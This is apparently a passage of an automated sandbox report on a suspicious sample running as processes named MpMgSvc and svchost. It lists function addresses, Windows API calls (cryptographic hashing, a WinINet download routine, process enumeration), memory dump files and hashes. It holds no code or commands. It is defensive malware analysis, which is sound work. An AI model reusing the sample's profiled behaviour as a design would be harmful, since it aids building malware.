GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0048F5CA

Strings

GetLastActivePopup, xrefs: 0048F5BF
user32.dll, xrefs: 0048F58F
GetActiveWindow, xrefs: 0048F5B7
MessageBoxA, xrefs: 0048F5A6

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: abfb476e7af356e7edb2f84465a7ae6e49b6c36e721ae95785cbfec0e0abab61
Instruction ID: 119754949dfbbefc6c4b4ff6531fecc7bf7e9aeb476182b5c8f452909c38a452
Opcode Fuzzy Hash: abfb476e7af356e7edb2f84465a7ae6e49b6c36e721ae95785cbfec0e0abab61
Instruction Fuzzy Hash: A00125356013117BC711EFB59DC099F7ED8D7957A0334443AA900D2361EE748856FB76

Function 0048818C Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000010), ref: 004881F9
GetStdHandle.KERNEL32(000000F4,00C11C14,00000000,00493A86,00000000,00000010), ref: 004882CF
WriteFile.KERNEL32(00000000), ref: 004882D6

Strings

..., xrefs: 0048824B
<program name unknown>, xrefs: 00488209
Runtime Error!Program: , xrefs: 0048825F
Microsoft Visual C++ Runtime Library, xrefs: 004882A5

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 40f2a8910c51d01977ae69dfca04b9e7abb1dc2ae8e6200e24a2a18af479ae69
Instruction ID: dde5b042e3f672d33d8f8f642b2b51e1ab38b7d82b6a4c6584886d4debcd439a
Opcode Fuzzy Hash: 40f2a8910c51d01977ae69dfca04b9e7abb1dc2ae8e6200e24a2a18af479ae69
Instruction Fuzzy Hash: 8531D672640208AEDF20F764CD45FEE776DEF46304F540DABF544D6140EAB8A9818B56

Function 0048ED58 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,00C11E9C,00000001,-00000030,?,00000000,-00000030,?,?,00483CF1,00000000,00430592,00000000), ref: 0048ED97
GetStringTypeA.KERNEL32(00000000,00000001,00C11E98,00000001,?,?,?,00483CF1,00000000,00430592,00000000), ref: 0048EDB1
GetStringTypeA.KERNEL32(-00000030,00430592,00000000,00483CF1,?,?,00000000,-00000030,?,?,00483CF1,00000000,00430592,00000000), ref: 0048EDE5
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00483CF1,00000000,00000000,?,00000000,-00000030,?,?,00483CF1,00000000,00430592,00000000), ref: 0048EE1D
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00483CF1,?,?,?,?,?,?,?,00483CF1,00000000,00430592), ref: 0048EE73
GetStringTypeW.KERNEL32(00430592,?,00000000,?,?,?,?,?,?,?,?,00483CF1,00000000,00430592), ref: 0048EE85

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 173f0da0fcf3183fd23bed9b935ee11bf3665d56a094059f74fe65eccbfa1b69
Instruction ID: d3977114f10653bedf15a4cef620ab5d597e916cde95fdeb9b1b106c3f3184b1
Opcode Fuzzy Hash: 173f0da0fcf3183fd23bed9b935ee11bf3665d56a094059f74fe65eccbfa1b69
Instruction Fuzzy Hash: 8D416A7260021AAFCF10AFA58D85AEF3FA9EB09750F104926F911D2250C7398951EBA4

Function 0049CFD9 Relevance: 9.1, APIs: 6, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00D1808C,00D1807C,00000000,00C1EE4C,00D1808C,?,0049D241,00D1807C,00000000), ref: 0049CFE4
RtlEnterCriticalSection.NTDLL(00D180A8), ref: 0049D033
RtlLeaveCriticalSection.NTDLL(00D180A8), ref: 0049D046
LocalAlloc.KERNEL32(00000000,00000005,?,0049D241,00D1807C,00000000), ref: 0049D05C
LocalReAlloc.KERNEL32(?,00000005,00000002,?,0049D241,00D1807C,00000000), ref: 0049D06E
TlsSetValue.KERNEL32(00D1808C,00000000,0049D241,00D1807C,00000000), ref: 0049D0AA

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: AllocCriticalLocalSectionValue$EnterLeave
String ID:
API String ID: 4117633390-0
Opcode ID: 3b13ada9eb29c420d0ac78cc318cb3c2577039a21a9b53bd13bdf9b762234e67
Instruction ID: d3356fab509616575b61315fda1a66cf857a657a7336c195192bd81bf2b276ca
Opcode Fuzzy Hash: 3b13ada9eb29c420d0ac78cc318cb3c2577039a21a9b53bd13bdf9b762234e67
Instruction Fuzzy Hash: 4431AE71600605EFDB24DF19C885F66BBA8FF45318F00863AE516C7650E775E806CB65

Function 00441DC0 Relevance: 7.6, APIs: 5, Instructions: 103synchronizationCOMMON

Download Yara Rule

APIs

midiStreamStop.WINMM(?,00000000,00D05DEC,00000000,0044192A,00000000,00D06090,00437E16), ref: 00441DF5
midiOutReset.WINMM(?), ref: 00441E13
WaitForSingleObject.KERNEL32(?,000007D0), ref: 00441E36
midiStreamClose.WINMM(?), ref: 00441E73
midiStreamClose.WINMM(?), ref: 00441EA7

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: midi$Stream$Close$ObjectResetSingleStopWait
String ID:
API String ID: 3142198506-0
Opcode ID: bc817ac16043a7e8b54eb0b043c0c188ee60a9777cc320e87bc549ff9d5ae3bd
Instruction ID: 0eb041a49c47e3332a388dd67af5d6c9164549b5e083a2bc89888b641c45d22f
Opcode Fuzzy Hash: bc817ac16043a7e8b54eb0b043c0c188ee60a9777cc320e87bc549ff9d5ae3bd
Instruction Fuzzy Hash: 97314FB67007118BEB30DF69D98451BB7EABB943057248A3FE642C7611C778E885CB98

Function 0048C53C Relevance: 7.6, APIs: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00002020,00CF78C0), ref: 0048C55D
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,00493A86,0048CA08,00493A86,00000010,?,00000009,00000009,?,00484A41,00000010,00493A86), ref: 0048C581
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,00493A86,0048CA08,00493A86,00000010,?,00000009,00000009,?,00484A41,00000010,00493A86), ref: 0048C59B
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00493A86,0048CA08,00493A86,00000010,?,00000009,00000009,?,00484A41,00000010,00493A86,00493A86), ref: 0048C65C
HeapFree.KERNEL32(00000000,00000000,?,00493A86,0048CA08,00493A86,00000010,?,00000009,00000009,?,00484A41,00000010,00493A86,00493A86,?), ref: 0048C673

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFreeHeap$Allocate
String ID:
API String ID: 3000792370-0
Opcode ID: f223b9c605552b66df5bdde8c3b4355a75ed2dc09278c8fa8b83f64d3994ad8d
Instruction ID: 0b80408c1b4f3bb1646e239be66c2cb7c2f98cfb4362c6fd496814b3d592dfb1
Opcode Fuzzy Hash: f223b9c605552b66df5bdde8c3b4355a75ed2dc09278c8fa8b83f64d3994ad8d
Instruction Fuzzy Hash: B931E4B1540711EBD720AF28EC84B2ABBE0FB45794F104A3AE155A73D0E778A840CB6D

Function 00442720 Relevance: 6.2, APIs: 4, Instructions: 246COMMON

Download Yara Rule

APIs

midiStreamOpen.WINMM(00D05E08,00D05E30,00000001,00442D50,00D05DEC,00030000,?,00D05DEC,?,00000000), ref: 0044274B
midiStreamProperty.WINMM ref: 00442832
midiOutPrepareHeader.WINMM(?,?,00000040,00000001,?,?,00D05DEC,?,00000000), ref: 00442980

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: midi$Stream$HeaderOpenPrepareProperty
String ID:
API String ID: 2061886437-0
Opcode ID: 662a2e066ac24a71f399270fd02cd92c917a2995cec63234ff946c5550873d3a
Instruction ID: b596d08a15de5ec1781b4487a1bb28322bf1976b2ca8be4f7e1c27cfd8f24abd
Opcode Fuzzy Hash: 662a2e066ac24a71f399270fd02cd92c917a2995cec63234ff946c5550873d3a
Instruction Fuzzy Hash: FAA18EB16006068FD724DF28D990BAAB7F6FB84304F504A2EE686C7750EB75F919CB44

Function 0048C09A Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000050,00493A86,00000000), ref: 0048C0C2
RtlAllocateHeap.NTDLL(00000008,000041C4,00493A86), ref: 0048C0F6
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 0048C110
HeapFree.KERNEL32(00000000,?), ref: 0048C127

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: Heap$Allocate$AllocFreeVirtual
String ID:
API String ID: 94566200-0
Opcode ID: 95b0f8f9dc471f7d4f59e625115004a4d7772aae3a8706e919af9ed5585f09e2
Instruction ID: e75f9bee90394d0561fa5f0dc9c054c51c15bdb7f06ae3d35872707ce7d78c4d
Opcode Fuzzy Hash: 95b0f8f9dc471f7d4f59e625115004a4d7772aae3a8706e919af9ed5585f09e2
Instruction Fuzzy Hash: 0E11EC71200302AFD721DF19FC859667BF6FB45750794891AE151C66B0CB715903EB68

Function 0049DEB4 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00D18200), ref: 0049DEEF
RtlInitializeCriticalSection.NTDLL(00000000), ref: 0049DF01
RtlLeaveCriticalSection.NTDLL(00D18200), ref: 0049DF0A
RtlEnterCriticalSection.NTDLL(00000000), ref: 0049DF1C

Part of subcall function 0049DE21: GetVersion.KERNEL32(?,0049DEC4,00C1EE4C,0049D287,00000010,00000000,00000100,00C1EE4C,?,?,0049CC6E,0049CCD1,0049C557,00498FC6,00000100,00498F5F), ref: 0049DE34

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$InitializeLeaveVersion
String ID:
API String ID: 1193629340-0
Opcode ID: d9624557205a01e4ec42b260fad78709cc6c5a26e89c5f8a5811732faafd867c
Instruction ID: 7148741d9bfdd58f33f8a245476a0e547f43046519b603c008007ce2bb07df60
Opcode Fuzzy Hash: d9624557205a01e4ec42b260fad78709cc6c5a26e89c5f8a5811732faafd867c
Instruction Fuzzy Hash: D4F0317240570AFFCF10EFA4ED84996B768F715316B00403AE605C3215DF74B456DAA9

Analysis Process: svchost.exePID: 12364, Parent PID: 620COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.8%
Total number of Nodes:	760
Total number of Limit Nodes:	15

Executed Functions

Function 1000AC1F Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 578
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,100342F9,100342F9,00000001,F0000000), ref: 1000AC92
CryptAcquireContextA.ADVAPI32(?,100342F9,100342F9,00000001,00000000), ref: 1000ACE0
CryptCreateHash.ADVAPI32(?,?,?,00000000,?), ref: 1000AD32
CryptReleaseContext.ADVAPI32(?,00000000), ref: 1000AD70

Strings

0123456789ABCDEF, xrefs: 1000AFB9

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$CreateHashRelease
String ID: 0123456789ABCDEF
API String ID: 3535039526-2554083253
Opcode ID: b9aed5bc4381f6557dcb7338e556ad6059071664203431369805686b3d817c02
Instruction ID: abb545f3233b4bba8d0efa63d77e956ed0648e9eb19fb989c03afb06cac2fe7a
Opcode Fuzzy Hash: b9aed5bc4381f6557dcb7338e556ad6059071664203431369805686b3d817c02
Instruction Fuzzy Hash: 97125DB5E50718FBEB00DFA0EC86B9EBBB4EF08741F140025F604BE185E7726A648B55

Function 10009B7E Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 302
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(HTTPREAD,00000000,00000000,00000000,00000000), ref: 10009BE4
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,80000002,00000000), ref: 10009C2C
HttpQueryInfoA.WININET(?,20000005,?,?,00000000), ref: 10009CB2
InternetReadFile.WININET(?,?,?,?), ref: 10009D37
InternetReadFile.WININET(?,?,?,?), ref: 10009E0B
InternetCloseHandle.WININET(00000000), ref: 10009EBF
InternetCloseHandle.WININET(00000000), ref: 10009EF5

Strings

HTTPREAD, xrefs: 10009BDD

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandleOpenRead$HttpInfoQuery
String ID: HTTPREAD
API String ID: 2392545979-1749695856
Opcode ID: 133878580aacbc59657393561a0b40ff0a12ede1f0ad6bdd264e697e5cd70221
Instruction ID: 099a9d4a5d136dcb4e24e0221611e8d584eca6e7c27b1bec05d8a495129c75e8
Opcode Fuzzy Hash: 133878580aacbc59657393561a0b40ff0a12ede1f0ad6bdd264e697e5cd70221
Instruction Fuzzy Hash: D5A172B5E40304BFFB00DFA4CC86BEE7BB4EB18755F140425F605BA181E676A9908BA5

Function 1000B802 Relevance: 7.9, APIs: 5, Instructions: 429
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 1000B86D
Process32First.KERNEL32(000000FF,00000000), ref: 1000B94A
CloseHandle.KERNEL32(?), ref: 1000BAC6
Process32Next.KERNEL32(?,00000000), ref: 1000BB87
FindCloseChangeNotification.KERNELBASE(000000FF,?,?,?,?,?,?,?,100052AC), ref: 1000BC71

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
